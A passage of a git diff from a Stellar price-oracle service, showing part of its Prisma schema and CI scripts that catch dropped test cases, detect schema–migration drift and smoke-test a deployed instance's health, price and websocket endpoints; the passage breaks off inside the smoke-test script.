limit/offset) and keeps pagination stable — see + // routes/discovery.ts, which always orders by (createdAt, id). + @@index([network, type, payTo, createdAt(sort: Desc), id]) + @@index([extensionKeys], type: Gin) + @@map("bazaar_resources") +} + +/// One settlement attempt through POST /settle. +/// +/// Written BEFORE the transaction is submitted, so a resource server that +/// times out and retries finds a record rather than causing a second payment. +/// The idempotency key is the inner transaction hash — derived from the +/// payload, and the same hash the ledger records. +model SettlementAttempt { + id String @id @default(uuid()) + + /// Network the payment settles on, as "testnet" | "mainnet" — the same + /// vocabulary every other model in this schema uses, so a network filter + /// works uniformly. The CAIP-2 id ("stellar:testnet") is a wire format and + /// stays on the wire; storing it here would silently exclude these rows + /// from any query that filters network the way the rest of the schema does. + network String @default("testnet") + + /// Inner transaction hash, hex — the idempotency key. + txHash String @map("tx_hash") + + /// "submitting" | "settled" | "failed". A row stuck in "submitting" is + /// resolved by reading the ledger, never by resubmitting. + state String + + payer String? + payTo String? @map("pay_to") + asset String? + amount String? + errorReason String? @map("error_reason") + errorMessage String? @map("error_message") + + /// The SettleResponse returned to the caller, replayed verbatim on a retry. + response Json? + + createdAt DateTime @default(now()) @map("created_at") + updatedAt DateTime @default(now()) @updatedAt @map("updated_at") + + /// The lock. Two concurrent settles for the same payload race to insert and + /// exactly one wins; the loser replays the winner's answer. + @@unique([network, txHash], name: "network_txHash", map: "settlement_attempt_identity") + @@map("settlement_attempts") +} + +model Webhook { + id String @id @default(uuid()) + network String @default("testnet") + url String + assetA String @map("asset_a") + assetB String @map("asset_b") + threshold Float + direction String + secret String + createdAt DateTime @default(now()) @map("created_at") + + @@index([network, assetA, assetB]) + @@map("webhooks") +} + +/// Permanent webhook failures are retained for 30-day diagnosis only; replay is +/// not automatic because a delayed alert may no longer describe the current price. +model WebhookDeliveryFailure { + id String @id @default(uuid()) + endpoint String + payload Json + attemptCount Int @map("attempt_count") + lastStatus Int? @map("last_status") + errorCategory String @map("error_category") + firstAttemptAt DateTime @map("first_attempt_at") + lastAttemptAt DateTime @map("last_attempt_at") + createdAt DateTime @default(now()) @map("created_at") + + @@index([createdAt(sort: Desc)]) + @@map("webhook_delivery_failures") +} + +model ApiKey { + id String @id @default(uuid()) + hash String @unique + label String + ratePerMin Int @default(60) @map("rate_per_min") + ratePerDay Int @default(10000) @map("rate_per_day") + revokedAt DateTime? @map("revoked_at") + expiresAt DateTime? @map("expires_at") + createdAt DateTime @default(now()) @map("created_at") + lastUsedAt DateTime? @map("last_used_at") + monthlyQuotaCents Int? @default(10000) @map("monthly_quota_cents") + dailyQuotaCents Int? @default(500) @map("daily_quota_cents") + overagePolicy String @default("block") @map("overage_policy") + scopes String[] @default([]) + + @@map("api_keys") +} + +/// One value Lens put on chain through its SEP-40 feed (#222). +/// +/// Rows exist for WRITES, not for decisions: a blocked tick is a log line, and +/// a table that recorded every "below_deviation" would hold ~2,880 rows per +/// pair per day and say nothing an operator could not read from the trigger +/// code in the logs. What this table proves is the opposite direction — every +/// number a contract was told, with the venues that produced it, which is the +/// evidence that "a price you cannot source is worse than no price" was +/// actually enforced. +model OraclePublication { + id String @id @default(uuid()) + network String @default("testnet") + + /// The Lens pair this came from. Kept alongside the feed asset because one + /// pair can only ever feed one quoted asset, but the reverse is not true: + /// without pairKey you cannot trace a published number back to a trade. + pairKey String @map("pair_key") + + /// SEP-40 identifier of the asset whose price in `base` this is: a C... + /// Stellar Asset Contract id, or the code for native XLM. Never a bare code + /// for an anchored asset — a code is not an issuer, and two tokens share one + /// code in the wild. + quotedAsset String @map("quoted_asset") + baseAsset String @map("base_asset") + + /// "published" | "failed". "published" is written only after the transaction + /// finalized, so a row here is a claim about the ledger, not about intent. + state String + + /// Why the write happened: "first_report" | "deviation" | "max_interval". + trigger String? + + /// Human-readable price, the same number /api/price would return for the + /// pair at that moment, oriented against the feed's base. + price Decimal? @db.Decimal(36, 18) + + /// The exact i128 written on chain, as text. Prisma's Decimal cannot hold an + /// i128 range, and re-deriving it from `price` would defeat the point of + /// keeping it. + scaledPrice String? @map("scaled_price") + decimals Int? + /// Feed tick the value was written at (`floor(unix_now()/resolution)*resolution`). + feedTimestamp BigInt? @map("feed_timestamp") + resolution Int? + + /// Every venue behind the number, joined with ','. This is the provenance + /// guarantee: a row without venues should not exist, and `sourceCount` is + /// `venues.length` because the contract derives it from the same list. + venues String? + sourceCount Int? @map("source_count") + + /// Percent moved against the value that was on chain, when there was one. + deviationPct Float? @map("deviation_pct") + + /// The publisher's own sentence for the decision — the same string that went + /// to the log, so a log grep and a table query agree. + reason String? + + txHash String? @map("tx_hash") + errorMessage String? @map("error_message") + + createdAt DateTime @default(now()) @map("created_at") + + @@index([network, pairKey, createdAt(sort: Desc)]) + @@index([network, quotedAsset, feedTimestamp(sort: Desc)]) + @@map("oracle_publications") +} diff --git a/scripts/check-dropped-tests.mjs b/scripts/check-dropped-tests.mjs index 58b90b28..b3c49c06 100644 --- a/scripts/check-dropped-tests.mjs +++ b/scripts/check-dropped-tests.mjs @@ -1,113 +1,113 @@ -#!/usr/bin/env node -/** - * Fail when a branch would delete test cases that exist on the base. - * - * This exists because it happened twice in one day and git said nothing both - * times. A branch opened before several PRs landed replaces a whole test file - * rather than merging it, so there is no textual conflict — the file is simply - * the older version plus the author's additions. Merging it silently removes - * every case added in between. - * - * Observed on Lens #480 (19 cases: the Zod argument suite and the upstream - * deadline suite) and again on #492 (the same 19). Both reported "mergeable", - * both typechecked, and in both cases the loss was only visible by counting - * `it(` on each side. - * - * What this does NOT do: run the tests, or judge whether a removal is correct. - * Removing a test is sometimes exactly right — the feature went away, the case - * was a duplicate, the assertion was wrong. It reports which cases disappear so - * the decision is made deliberately rather than by accident. Say so in the PR - * and apply the override label. - * - * Compares the base against the MERGE RESULT, not against the branch tip. - * Comparing against the tip over-reports wildly — a branch 47 commits behind - * is "missing" every case added since it forked, whether or not merging would - * drop them. What matters is the tree that would actually land. - * - * node scripts/check-dropped-tests.mjs [head-ref] - * - * Exits 1 when cases are missing from the merge result, 0 otherwise. - */ -import { execFileSync } from 'node:child_process' - -const BASE = process.argv[2] ?? 'origin/main' -const HEAD = process.argv[3] ?? 'HEAD' - -/** Matches `it('…`, `test("…`, and the `.each`/`.only`/`.skip` variants. */ -const CASE = /^\s*(?:it|test)(?:\.\w+)*\s*(?:\(|`)\s*(['"`])(.*?)\1/gm - -function git(...args) { - return execFileSync('git', args, { encoding: 'utf8', maxBuffer: 64 * 1024 * 1024 }) -} - -/** Test files tracked at a ref. */ -function testFilesAt(ref) { - return git('ls-tree', '-r', '--name-only', ref) - .split('\n') - .filter(f => /\.(test|spec)\.[cm]?[jt]sx?$/.test(f)) -} - -/** Map of "file :: case name" for every test case at a ref. */ -function casesAt(ref) { - const cases = new Map() - for (const file of testFilesAt(ref)) { - let source - try { - source = git('show', `${ref}:${file}`) - } catch { - continue - } - for (const m of source.matchAll(CASE)) { - // Keyed by file AND name: the same name in two files is two cases, and a - // case merely moving between files should still be reported, because a - // move and a deletion look identical from the base's point of view. - cases.set(`${file} :: ${m[2]}`, true) - } - } - return cases -} - -/** - * The tree merging HEAD into BASE would produce. Falls back to HEAD itself if - * the merge conflicts — a conflicted PR has other problems and the comparison - * is still worth printing. - */ -function mergeResult(base, head) { - try { - return git('merge-tree', '--write-tree', base, head).trim().split('\n')[0] - } catch (e) { - // A conflicted merge still writes the tree it got to, on stdout. - const out = String(e.stdout ?? '').trim().split('\n')[0] - if (out) { - console.log('Note: the merge conflicts; comparing against its tree anyway.\n') - return out - } - console.log('Note: could not compute a merge tree; comparing against the branch tip.\n') - return head - } -} - -const merged = mergeResult(BASE, HEAD) -const base = casesAt(BASE) -const head = casesAt(merged) -const missing = [...base.keys()].filter(k => !head.has(k)) - -console.log(`base ${BASE}: ${base.size} cases`) -console.log(`merging ${HEAD}: ${head.size} cases`) - -if (missing.length === 0) { - console.log('\nNo test case present on the base is missing from this branch.') - process.exit(0) -} - -console.log(`\n${missing.length} test case(s) on ${BASE} would be removed by merging:\n`) -for (const k of missing) console.log(` - ${k}`) -console.log( - '\nIf that is deliberate — the feature went away, the case was a duplicate,' + - '\nthe assertion was wrong — say so in the PR and apply the' + - '\n`tests-removed-intentionally` label.' + - '\n\nIf it is not, the usual cause is a branch opened before other PRs' + - '\nlanded: merging `main` in replaces the file wholesale and takes the' + - '\ncases added in between with it. Rebase, then keep both sides.', -) -process.exit(1) +#!/usr/bin/env node +/** + * Fail when a branch would delete test cases that exist on the base. + * + * This exists because it happened twice in one day and git said nothing both + * times. A branch opened before several PRs landed replaces a whole test file + * rather than merging it, so there is no textual conflict — the file is simply + * the older version plus the author's additions. Merging it silently removes + * every case added in between. + * + * Observed on Lens #480 (19 cases: the Zod argument suite and the upstream + * deadline suite) and again on #492 (the same 19). Both reported "mergeable", + * both typechecked, and in both cases the loss was only visible by counting + * `it(` on each side. + * + * What this does NOT do: run the tests, or judge whether a removal is correct. + * Removing a test is sometimes exactly right — the feature went away, the case + * was a duplicate, the assertion was wrong. It reports which cases disappear so + * the decision is made deliberately rather than by accident. Say so in the PR + * and apply the override label. + * + * Compares the base against the MERGE RESULT, not against the branch tip. + * Comparing against the tip over-reports wildly — a branch 47 commits behind + * is "missing" every case added since it forked, whether or not merging would + * drop them. What matters is the tree that would actually land. + * + * node scripts/check-dropped-tests.mjs [head-ref] + * + * Exits 1 when cases are missing from the merge result, 0 otherwise. + */ +import { execFileSync } from 'node:child_process' + +const BASE = process.argv[2] ?? 'origin/main' +const HEAD = process.argv[3] ?? 'HEAD' + +/** Matches `it('…`, `test("…`, and the `.each`/`.only`/`.skip` variants. */ +const CASE = /^\s*(?:it|test)(?:\.\w+)*\s*(?:\(|`)\s*(['"`])(.*?)\1/gm + +function git(...args) { + return execFileSync('git', args, { encoding: 'utf8', maxBuffer: 64 * 1024 * 1024 }) +} + +/** Test files tracked at a ref. */ +function testFilesAt(ref) { + return git('ls-tree', '-r', '--name-only', ref) + .split('\n') + .filter(f => /\.(test|spec)\.[cm]?[jt]sx?$/.test(f)) +} + +/** Map of "file :: case name" for every test case at a ref. */ +function casesAt(ref) { + const cases = new Map() + for (const file of testFilesAt(ref)) { + let source + try { + source = git('show', `${ref}:${file}`) + } catch { + continue + } + for (const m of source.matchAll(CASE)) { + // Keyed by file AND name: the same name in two files is two cases, and a + // case merely moving between files should still be reported, because a + // move and a deletion look identical from the base's point of view. + cases.set(`${file} :: ${m[2]}`, true) + } + } + return cases +} + +/** + * The tree merging HEAD into BASE would produce. Falls back to HEAD itself if + * the merge conflicts — a conflicted PR has other problems and the comparison + * is still worth printing. + */ +function mergeResult(base, head) { + try { + return git('merge-tree', '--write-tree', base, head).trim().split('\n')[0] + } catch (e) { + // A conflicted merge still writes the tree it got to, on stdout. + const out = String(e.stdout ?? '').trim().split('\n')[0] + if (out) { + console.log('Note: the merge conflicts; comparing against its tree anyway.\n') + return out + } + console.log('Note: could not compute a merge tree; comparing against the branch tip.\n') + return head + } +} + +const merged = mergeResult(BASE, HEAD) +const base = casesAt(BASE) +const head = casesAt(merged) +const missing = [...base.keys()].filter(k => !head.has(k)) + +console.log(`base ${BASE}: ${base.size} cases`) +console.log(`merging ${HEAD}: ${head.size} cases`) + +if (missing.length === 0) { + console.log('\nNo test case present on the base is missing from this branch.') + process.exit(0) +} + +console.log(`\n${missing.length} test case(s) on ${BASE} would be removed by merging:\n`) +for (const k of missing) console.log(` - ${k}`) +console.log( + '\nIf that is deliberate — the feature went away, the case was a duplicate,' + + '\nthe assertion was wrong — say so in the PR and apply the' + + '\n`tests-removed-intentionally` label.' + + '\n\nIf it is not, the usual cause is a branch opened before other PRs' + + '\nlanded: merging `main` in replaces the file wholesale and takes the' + + '\ncases added in between with it. Rebase, then keep both sides.', +) +process.exit(1) diff --git a/scripts/db-drift-check.sh b/scripts/db-drift-check.sh index 18d579da..e73467f5 100644 --- a/scripts/db-drift-check.sh +++ b/scripts/db-drift-check.sh @@ -1,42 +1,42 @@ -#!/usr/bin/env bash -# -# #233 — General schema/migration drift guard. -# -# The DB-free vitest test (tests/prisma-migrations.test.ts) proves the baseline -# reproduces the schema while there is a single migration. This script is the -# general check: it replays *all* committed migrations against a real database -# and diffs the result against schema.prisma, so it stays correct no matter how -# many migrations the repo accumulates. Exits non-zero on drift, which is what -# makes CI fail when schema.prisma and prisma/migrations disagree. -# -# Needs a live Postgres (CI service container, or `docker compose up postgres`). -# DATABASE_URL app connection (used to deploy the migrations) -# DIRECT_DATABASE_URL direct/pooler-bypassing URL -# SHADOW_DATABASE_URL an EMPTY database Prisma uses to replay migrations -# -# Usage: bash scripts/db-drift-check.sh -set -euo pipefail - -PRISMA="node node_modules/prisma/build/index.js" - -for v in DATABASE_URL DIRECT_DATABASE_URL SHADOW_DATABASE_URL; do - if [ -z "${!v:-}" ]; then - echo "ERROR: $v is required (point it at a scratch Postgres, or run 'docker compose up -d postgres')." >&2 - exit 2 - fi -done - -echo "==> Deploying committed migrations to DATABASE_URL" -$PRISMA migrate deploy - -echo "==> Replaying migrations and diffing against schema.prisma (no drift expected)" -# --from-migrations replays prisma/migrations into the shadow DB; -# --exit-code makes the command fail (exit 1) if the replayed shape differs from -# the schema datamodel. --script is intentionally absent: exit code is the signal. -$PRISMA migrate diff \ - --from-migrations prisma/migrations \ - --to-schema-datamodel prisma/schema.prisma \ - --shadow-database-url "$SHADOW_DATABASE_URL" \ - --exit-code - -echo "OK: prisma/migrations and schema.prisma agree." +#!/usr/bin/env bash +# +# #233 — General schema/migration drift guard. +# +# The DB-free vitest test (tests/prisma-migrations.test.ts) proves the baseline +# reproduces the schema while there is a single migration. This script is the +# general check: it replays *all* committed migrations against a real database +# and diffs the result against schema.prisma, so it stays correct no matter how +# many migrations the repo accumulates. Exits non-zero on drift, which is what +# makes CI fail when schema.prisma and prisma/migrations disagree. +# +# Needs a live Postgres (CI service container, or `docker compose up postgres`). +# DATABASE_URL app connection (used to deploy the migrations) +# DIRECT_DATABASE_URL direct/pooler-bypassing URL +# SHADOW_DATABASE_URL an EMPTY database Prisma uses to replay migrations +# +# Usage: bash scripts/db-drift-check.sh +set -euo pipefail + +PRISMA="node node_modules/prisma/build/index.js" + +for v in DATABASE_URL DIRECT_DATABASE_URL SHADOW_DATABASE_URL; do + if [ -z "${!v:-}" ]; then + echo "ERROR: $v is required (point it at a scratch Postgres, or run 'docker compose up -d postgres')." >&2 + exit 2 + fi +done + +echo "==> Deploying committed migrations to DATABASE_URL" +$PRISMA migrate deploy + +echo "==> Replaying migrations and diffing against schema.prisma (no drift expected)" +# --from-migrations replays prisma/migrations into the shadow DB; +# --exit-code makes the command fail (exit 1) if the replayed shape differs from +# the schema datamodel. --script is intentionally absent: exit code is the signal. +$PRISMA migrate diff \ + --from-migrations prisma/migrations \ + --to-schema-datamodel prisma/schema.prisma \ + --shadow-database-url "$SHADOW_DATABASE_URL" \ + --exit-code + +echo "OK: prisma/migrations and schema.prisma agree." diff --git a/scripts/db-migration-cycle.sh b/scripts/db-migration-cycle.sh index 9c043d99..f181eb13 100644 --- a/scripts/db-migration-cycle.sh +++ b/scripts/db-migration-cycle.sh @@ -1,118 +1,118 @@ -#!/usr/bin/env bash -# -# #233 — Prove a migration can be generated, applied and rolled back on a clean -# database, and that the drift guard actually fires. This is the acceptance -# check for "A new migration can be generated, applied and rolled back in a -# clean database" and "CI fails on drift between schema and migrations." -# -# Runs entirely against throwaway databases (CI service container, or -# `docker compose up -d postgres` + a second empty DB). It never leaves the repo -# dirty: the scratch migration it generates is removed before it exits. -# -# DATABASE_URL empty-ish app DB (reset to a clean state here) -# DIRECT_DATABASE_URL direct URL -# SHADOW_DATABASE_URL empty database for Prisma to replay migrations -# -# Usage: bash scripts/db-migration-cycle.sh -set -euo pipefail - -PRISMA="node node_modules/prisma/build/index.js" -SCRATCH_DIR="prisma/migrations/29990101000000_drift_canary" -SCRATCH_SCHEMA="$(mktemp -t drift-canary-XXXXXX).prisma" -trap 'rm -rf "$SCRATCH_DIR" "$SCRATCH_SCHEMA"' EXIT - -for v in DATABASE_URL DIRECT_DATABASE_URL SHADOW_DATABASE_URL; do - if [ -z "${!v:-}" ]; then - echo "ERROR: $v is required." >&2 - exit 2 - fi -done - -# Assert a table exists (1) or does not (0) in DATABASE_URL, via the app's pg dep. -table_exists() { - node -e ' - const { Client } = require("pg"); - (async () => { - const c = new Client({ connectionString: process.env.DATABASE_URL }); - await c.connect(); - const { rows } = await c.query( - "SELECT 1 FROM information_schema.tables WHERE table_name = $1", - [process.argv[1]], - ); - await c.end(); - process.exit(rows.length ? 0 : 1); - })().catch(() => process.exit(1)); - ' "$1" -} - -require_true() { # $? == 0 already checked by caller; used for readable failures - if [ "$1" -ne 0 ]; then echo "FAIL: $2" >&2; exit 1; fi -} - -echo "==> 1. Start from a clean database: drop everything, apply the committed baseline" -$PRISMA migrate reset --force --skip-seed - -echo "==> 2. Generate a NEW migration from a schema change (add a canary table)" -cp prisma/schema.prisma "$SCRATCH_SCHEMA" -cat >> "$SCRATCH_SCHEMA" <<'PRISMA_EOF' - -model DriftCanary { - id String @id - @@map("drift_canary") -} -PRISMA_EOF - -mkdir -p "$SCRATCH_DIR" -$PRISMA migrate diff \ - --from-migrations prisma/migrations \ - --to-schema-datamodel "$SCRATCH_SCHEMA" \ - --shadow-database-url "$SHADOW_DATABASE_URL" \ - --script > "$SCRATCH_DIR/migration.sql" - -if grep -q 'CREATE TABLE "drift_canary"' "$SCRATCH_DIR/migration.sql"; then - echo " generated migration creates drift_canary — good" -else - echo "FAIL: generated migration did not create the canary table" >&2 - cat "$SCRATCH_DIR/migration.sql" >&2 - exit 1 -fi - -echo "==> 3. Apply it to the clean database" -$PRISMA migrate deploy -table_exists "drift_canary"; require_true $? "canary table should exist after apply" -echo " drift_canary present after migrate deploy — good" - -echo "==> 4. Roll it back on the clean database (drop scratch, reset re-applies only the baseline)" -rm -rf "$SCRATCH_DIR" -$PRISMA migrate reset --force --skip-seed -if table_exists "drift_canary"; then - echo "FAIL: drift_canary survived the rollback — migrate reset did not drop it" >&2 - exit 1 -fi -echo " drift_canary gone after reset — generate/apply/rollback cycle verified" - -echo "==> 5. Negative proof: an un-migrated schema change must be flagged as drift" -cp prisma/schema.prisma "$SCRATCH_SCHEMA" -cat >> "$SCRATCH_SCHEMA" <<'PRISMA_EOF' - -model DriftCanary { - id String @id - @@map("drift_canary") -} -PRISMA_EOF -# --exit-code returns 1 when the replayed migrations differ from the schema. -set +e -$PRISMA migrate diff \ - --from-migrations prisma/migrations \ - --to-schema-datamodel "$SCRATCH_SCHEMA" \ - --shadow-database-url "$SHADOW_DATABASE_URL" \ - --exit-code -drift_exit=$? -set -e -if [ "$drift_exit" -eq 0 ]; then - echo "FAIL: drift guard did NOT fire on an un-migrated schema change" >&2 - exit 1 -fi -echo " drift guard fired (exit $drift_exit) on the un-migrated schema — CI would fail — good" - -echo "OK: migration generate/apply/rollback works on a clean DB and drift is detected." +#!/usr/bin/env bash +# +# #233 — Prove a migration can be generated, applied and rolled back on a clean +# database, and that the drift guard actually fires. This is the acceptance +# check for "A new migration can be generated, applied and rolled back in a +# clean database" and "CI fails on drift between schema and migrations." +# +# Runs entirely against throwaway databases (CI service container, or +# `docker compose up -d postgres` + a second empty DB). It never leaves the repo +# dirty: the scratch migration it generates is removed before it exits. +# +# DATABASE_URL empty-ish app DB (reset to a clean state here) +# DIRECT_DATABASE_URL direct URL +# SHADOW_DATABASE_URL empty database for Prisma to replay migrations +# +# Usage: bash scripts/db-migration-cycle.sh +set -euo pipefail + +PRISMA="node node_modules/prisma/build/index.js" +SCRATCH_DIR="prisma/migrations/29990101000000_drift_canary" +SCRATCH_SCHEMA="$(mktemp -t drift-canary-XXXXXX).prisma" +trap 'rm -rf "$SCRATCH_DIR" "$SCRATCH_SCHEMA"' EXIT + +for v in DATABASE_URL DIRECT_DATABASE_URL SHADOW_DATABASE_URL; do + if [ -z "${!v:-}" ]; then + echo "ERROR: $v is required." >&2 + exit 2 + fi +done + +# Assert a table exists (1) or does not (0) in DATABASE_URL, via the app's pg dep. +table_exists() { + node -e ' + const { Client } = require("pg"); + (async () => { + const c = new Client({ connectionString: process.env.DATABASE_URL }); + await c.connect(); + const { rows } = await c.query( + "SELECT 1 FROM information_schema.tables WHERE table_name = $1", + [process.argv[1]], + ); + await c.end(); + process.exit(rows.length ? 0 : 1); + })().catch(() => process.exit(1)); + ' "$1" +} + +require_true() { # $? == 0 already checked by caller; used for readable failures + if [ "$1" -ne 0 ]; then echo "FAIL: $2" >&2; exit 1; fi +} + +echo "==> 1. Start from a clean database: drop everything, apply the committed baseline" +$PRISMA migrate reset --force --skip-seed + +echo "==> 2. Generate a NEW migration from a schema change (add a canary table)" +cp prisma/schema.prisma "$SCRATCH_SCHEMA" +cat >> "$SCRATCH_SCHEMA" <<'PRISMA_EOF' + +model DriftCanary { + id String @id + @@map("drift_canary") +} +PRISMA_EOF + +mkdir -p "$SCRATCH_DIR" +$PRISMA migrate diff \ + --from-migrations prisma/migrations \ + --to-schema-datamodel "$SCRATCH_SCHEMA" \ + --shadow-database-url "$SHADOW_DATABASE_URL" \ + --script > "$SCRATCH_DIR/migration.sql" + +if grep -q 'CREATE TABLE "drift_canary"' "$SCRATCH_DIR/migration.sql"; then + echo " generated migration creates drift_canary — good" +else + echo "FAIL: generated migration did not create the canary table" >&2 + cat "$SCRATCH_DIR/migration.sql" >&2 + exit 1 +fi + +echo "==> 3. Apply it to the clean database" +$PRISMA migrate deploy +table_exists "drift_canary"; require_true $? "canary table should exist after apply" +echo " drift_canary present after migrate deploy — good" + +echo "==> 4. Roll it back on the clean database (drop scratch, reset re-applies only the baseline)" +rm -rf "$SCRATCH_DIR" +$PRISMA migrate reset --force --skip-seed +if table_exists "drift_canary"; then + echo "FAIL: drift_canary survived the rollback — migrate reset did not drop it" >&2 + exit 1 +fi +echo " drift_canary gone after reset — generate/apply/rollback cycle verified" + +echo "==> 5. Negative proof: an un-migrated schema change must be flagged as drift" +cp prisma/schema.prisma "$SCRATCH_SCHEMA" +cat >> "$SCRATCH_SCHEMA" <<'PRISMA_EOF' + +model DriftCanary { + id String @id + @@map("drift_canary") +} +PRISMA_EOF +# --exit-code returns 1 when the replayed migrations differ from the schema. +set +e +$PRISMA migrate diff \ + --from-migrations prisma/migrations \ + --to-schema-datamodel "$SCRATCH_SCHEMA" \ + --shadow-database-url "$SHADOW_DATABASE_URL" \ + --exit-code +drift_exit=$? +set -e +if [ "$drift_exit" -eq 0 ]; then + echo "FAIL: drift guard did NOT fire on an un-migrated schema change" >&2 + exit 1 +fi +echo " drift guard fired (exit $drift_exit) on the un-migrated schema — CI would fail — good" + +echo "OK: migration generate/apply/rollback works on a clean DB and drift is detected." diff --git a/scripts/deployed-smoke.mjs b/scripts/deployed-smoke.mjs index a3df3090..5d5104f8 100644 --- a/scripts/deployed-smoke.mjs +++ b/scripts/deployed-smoke.mjs @@ -1,102 +1,102 @@ -#!/usr/bin/env node -import WebSocket from 'ws' - -const base = process.argv[2] -const maxAge = Number(process.env.SMOKE_MAX_AGE_SECONDS ?? 120) -const timeout = Number(process.env.SMOKE_TIMEOUT_MS ?? 8000) -if (!base || !/^https?:\/\//.test(base) || !Number.isFinite(maxAge) || maxAge <= 0 || !Number.isFinite(timeout) || timeout <= 0) { - console.error('Usage: npm run smoke -- http://localhost:3002 [SMOKE_MAX_AGE_SECONDS=120 SMOKE_TIMEOUT_MS=8000]') - process.exit(2) -} -const url = new URL(base.endsWith('/') ? base : base + '/') -const check = async (name, fn) => { - try { - await fn() - console.log('PASS ' + name) - } catch (error) { - console.error('FAIL ' + name + ': ' + error.message) - throw error - } -} -async function getJson(path) { - const response = await fetch(new URL(path, url), { signal: AbortSignal.timeout(timeout) }) - if (!response.ok) throw new Error('HTTP ' + response.status) - return response.json() -} -function fresh(age) { - if (typeof age !== 'number' || !Number.isFinite(age) || age < 0 || age > maxAge) throw new Error('stale or missing age: ' + age) -} -async function websocketRoundTrip(pairKey, network) { - const target = new URL('graphql', url) - target.protocol = url.protocol === 'https:' ? 'wss:' : 'ws:' - const ws = new WebSocket(target, 'graphql-transport-ws', { handshakeTimeout: timeout }) - let timer - try { - await new Promise((resolve, reject) => { - timer = setTimeout(() => reject(new Error('subscription timed out')), timeout) - let acknowledged = false - ws.on('open', () => ws.send(JSON.stringify({ type: 'connection_init' }))) - ws.on('error', reject) - ws.on('close', () => reject(new Error('socket closed before price update'))) - ws.on('message', data => { - try { - const msg = JSON.parse(data.toString()) - if (msg.type === 'connection_ack' && !acknowledged) { - acknowledged = true - ws.send(JSON.stringify({ id: 'smoke', type: 'subscribe', payload: { - query: 'subscription ($pair: String!, $network: String) { priceUpdated(pair: $pair, network: $network) { pair price ts network } }', - variables: { pair: pairKey, network } - } })) - } else if (msg.type === 'next' && msg.id === 'smoke') { - const value = msg.payload?.data?.priceUpdated - if (value?.pair !== pairKey || value?.network !== network || !Number.isFinite(Number(value.price)) || Number(value.price) <= 0) throw new Error('invalid subscription payload') - const age = (Date.now() - new Date(value.ts).getTime()) / 1000 - fresh(age) - resolve() - } else if (msg.type === 'error') { - reject(new Error(JSON.stringify(msg.payload))) - } - } catch (error) { reject(error) } - }) - }) - } finally { - clearTimeout(timer) - ws.terminate() - } -} -let pairKey -let network -try { - await check('/status + live ingester', async () => { - const data = await getJson('status') - if (data.ok !== true) throw new Error('not healthy') - fresh(data.ingestLagSeconds) - }) - await check('/ready + /live', async () => { - const response = await fetch(new URL('ready', url), { signal: AbortSignal.timeout(timeout) }) - if (response.status === 404) { - throw new Error('GET /ready returned 404 — the readiness probe is missing (#334)') - } - if (!response.ok) throw new Error('HTTP ' + response.status) - const data = await response.json() - if (data.ok !== true) throw new Error('not ready: ' + JSON.stringify(data.checks)) - // Liveness must stay independent of the dependencies. If it ever starts - // failing alongside them, a database blip would take every instance's - // restart button at once. - const live = await fetch(new URL('live', url), { signal: AbortSignal.timeout(timeout) }) - if (!live.ok) throw new Error('GET /live returned HTTP ' + live.status) - }) - await check('/price/XLM/USDC + freshness', async () => { - const data = await getJson('price/XLM/USDC') - if (data.assetA !== 'XLM' || data.assetB !== 'USDC' || typeof data.price !== 'number' || !Number.isFinite(data.price) || data.price <= 0) throw new Error('invalid price response') - if (data.stale !== false) throw new Error('price flagged stale') - if (typeof data.pairKey !== 'string' || !data.pairKey) throw new Error('missing pairKey') - pairKey = data.pairKey - if (!['mainnet', 'testnet'].includes(data.network)) throw new Error('invalid network') - network = data.network - fresh(data.lastTradeAgeSeconds) - }) - await check('GraphQL websocket subscription + live update', () => websocketRoundTrip(pairKey, network)) -} catch { - process.exitCode = 1 -} +#!/usr/bin/env node +import WebSocket from 'ws' + +const base = process.argv[2] +const maxAge = Number(process.env.SMOKE_MAX_AGE_SECONDS ?? 120) +const timeout = Number(process.env.SMOKE_TIMEOUT_MS ?? 8000) +if (!base || !/^https?:\/\//.test(base) || !Number.isFinite(maxAge) || maxAge <= 0 || !Number.isFinite(timeout) || timeout <= 0) { + console.error('Usage: npm run smoke -- http://localhost:3002 [SMOKE_MAX_AGE_SECONDS=120 SMOKE_TIMEOUT_MS=8000]') + process.exit(2) +} +const url = new URL(base.endsWith('/') ? base : base + '/') +const check = async (name, fn) => { + try { + await fn() + console.log('PASS ' + name) + } catch (error) { + console.error('FAIL ' + name + ': ' + error.message) + throw error + } +} +async function getJson(path) { + const response = await fetch(new URL(path, url), { signal: AbortSignal.timeout(timeout) }) + if (!response.ok) throw new Error('HTTP ' + response.status) + return response.json() +} +function fresh(age) { + if (typeof age !== 'number' || !Number.isFinite(age) || age < 0 || age > maxAge) throw new Error('stale or missing age: ' + age) +} +async function websocketRoundTrip(pairKey, network) { + const target = new URL('graphql', url) + target.protocol = url.protocol === 'https:' ? 'wss:' : 'ws:' + const ws = new WebSocket(target, 'graphql-transport-ws', { handshakeTimeout: timeout }) + let timer + try { + await new Promise((resolve, reject) => { + timer = setTimeout(() => reject(new Error('subscription timed out')), timeout) + let acknowledged = false + ws.on('open', () => ws.send(JSON.stringify({ type: 'connection_init' }))) + ws.on('error', reject) + ws.on('close', () => reject(new Error('socket closed before price update'))) + ws.on('message', data => { + try { + const msg = JSON.parse(data.toString()) + if (msg.type === 'connection_ack' && !acknowledged) { + acknowledged = true + ws.send(JSON.stringify({ id: 'smoke', type: 'subscribe', payload: { + query: 'subscription ($pair: String!, $network: String) { priceUpdated(pair: $pair, network: $network) { pair price ts network } }', + variables: { pair: pairKey, network } + } })) + } else if (msg.type === 'next' && msg.id === 'smoke') { + const value = msg.payload?.data?.priceUpdated + if (value?.pair !== pairKey || value?.network !== network || !Number.isFinite(Number(value.price)) || Number(value.price) <= 0) throw new Error('invalid subscription payload') + const age = (Date.now() - new Date(value.ts).getTime()) / 1000 + fresh(age) + resolve() + } else if (msg.type === 'error') { + reject(new Error(JSON.stringify(msg.payload))) + } + } catch (error) { reject(error) } + }) + }) + } finally { + clearTimeout(timer) + ws.terminate() + } +} +let pairKey +let network +try { + await check('/status + live ingester', async () => { + const data = await getJson('status') + if (data.ok !== true) throw new Error('not healthy') + fresh(data.ingestLagSeconds) + }) + await check('/ready + /live', async () => { + const response = await fetch(new URL('ready', url), { signal: AbortSignal.timeout(timeout) }) + if (response.status === 404) { + throw new Error('GET /ready returned 404 — the readiness probe is missing (#334)') + } + if (!response.ok) throw new Error('HTTP ' + response.status) + const data = await response.json() + if (data.ok !== true) throw new Error('not ready: ' + JSON.stringify(data.checks)) + // Liveness must stay independent of the dependencies. If it ever starts + // failing alongside them, a database blip would take every instance's + // restart button at once. + const live = await fetch(new URL('live', url), { signal: AbortSignal.timeout(timeout) }) + if (!live.ok) throw new Error('GET /live returned HTTP ' + live.status) 